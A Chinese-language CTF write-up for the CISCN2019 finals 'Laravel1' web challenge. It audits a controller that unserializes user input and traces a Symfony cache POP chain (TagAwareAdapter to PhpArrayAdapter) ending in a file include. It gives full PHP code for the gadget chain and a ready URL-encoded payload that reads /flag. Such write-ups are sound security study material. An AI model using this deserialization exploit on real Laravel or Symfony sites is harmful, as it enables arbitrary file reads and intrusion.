摘要
[CISCN2019 总决赛 Day1 Web4]Laravel1 php审计
#### 1.审计
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| <?php
namespace App\Http\Controllers; class IndexController extends Controller { public function index(\Illuminate\Http\Request $request){ $payload=$request->input("payload"); if(empty($payload)){ highlight_file(__FILE__); }else{ @unserialize($payload); } } }
|
$payload=$request->input("payload");
指可以提交payload参数,后面对payload进行反序列化
down源码审计:
找入口挺玄妙的,根据代码先找一些特殊的魔术方法
搜索destruct
可以发现2019的一份日志中指向了一个类,也许算是提示……?不清楚
__destruct
-> commit
-> invalidateTags
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| public function invalidateTags(array $tags) { $ok = true; $tagsByKey = []; $invalidatedTags = []; foreach ($tags as $tag) { CacheItem::validateKey($tag); $invalidatedTags[$tag] = 0; }
if ($this->deferred) { $items = $this->deferred; foreach ($items as $key => $item) { if (!$this->pool->saveDeferred($item)) { unset($this->deferred[$key]); $ok = false; } }
$f = $this->getTagsByKey; $tagsByKey = $f($items); $this->deferred = []; } ... }
|
$this->pool
可控, 这就使我们有机会控制 saveDeferred
函数
在大型项目中,接口作为开发的规范,不同的功能实现要求必须实现某些函数
大量同名函数的出现,扩大了攻击面,但要从中找到可能出现问题的那一个,…困难
PhpArrayAdapter.php
中的 saveDeferred
1 2 3 4 5 6 7 8
| public function saveDeferred(CacheItemInterface $item) { if (null === $this->values) { $this->initialize(); }
return !isset($this->keys[$item->getKey()]) && $this->pool->saveDeferred($item); }
|
initialize
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| private function initialize() { if (!file_exists($this->file)) { $this->keys = $this->values = [];
return; } $values = (include $this->file) ?: [[], []];
if (2 !== \count($values) || !isset($values[0], $values[1])) { $this->keys = $this->values = []; } else { list($this->keys, $this->values) = $values; } }
|
$values = (include $this->file) ?: [[], []];
这里发现了文件包含
2. 构造
大量复杂的命名空间也是难点之一, saveDeferred(CacheItemInterface $item)
要求传入一个接口的实现
调出接口的实现关系:
1 2 3 4 5 6 7 8
| namespace Symfony\Component\Cache;
*** final class CacheItem implements ItemInterface { *** }
|
现在可以构造pop链了,注意命名空间:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29
| <?php
namespace Symfony\Component\Cache{ final class CacheItem{ } }
// 构造 namespace Symfony\Component\Cache\Adapter{ use Symfony\Component\Cache\CacheItem; class PhpArrayAdapter{ private $file='/flag'; } class TagAwareAdapter{ private $deferred; private $pool; public function __construct(){ $this->deferred = array('xxx' => new CacheItem()); $this->pool = new PhpArrayAdapter(); } } $a=new TagAwareAdapter(); echo urlencode(serialize($a)); }
|
获取flag
1
| ?payload=O%3A47%3A%22Symfony%5CComponent%5CCache%5CAdapter%5CTagAwareAdapter%22%3A2%3A%7Bs%3A57%3A%22%00Symfony%5CComponent%5CCache%5CAdapter%5CTagAwareAdapter%00deferred%22%3Ba%3A1%3A%7Bs%3A3%3A%22xxx%22%3BO%3A33%3A%22Symfony%5CComponent%5CCache%5CCacheItem%22%3A0%3A%7B%7D%7Ds%3A53%3A%22%00Symfony%5CComponent%5CCache%5CAdapter%5CTagAwareAdapter%00pool%22%3BO%3A47%3A%22Symfony%5CComponent%5CCache%5CAdapter%5CPhpArrayAdapter%22%3A1%3A%7Bs%3A53%3A%22%00Symfony%5CComponent%5CCache%5CAdapter%5CPhpArrayAdapter%00file%22%3Bs%3A5%3A%22%2Fflag%22%3B%7D%7D
|
参考文章:
https://guokeya.github.io/post/iG-_evz93/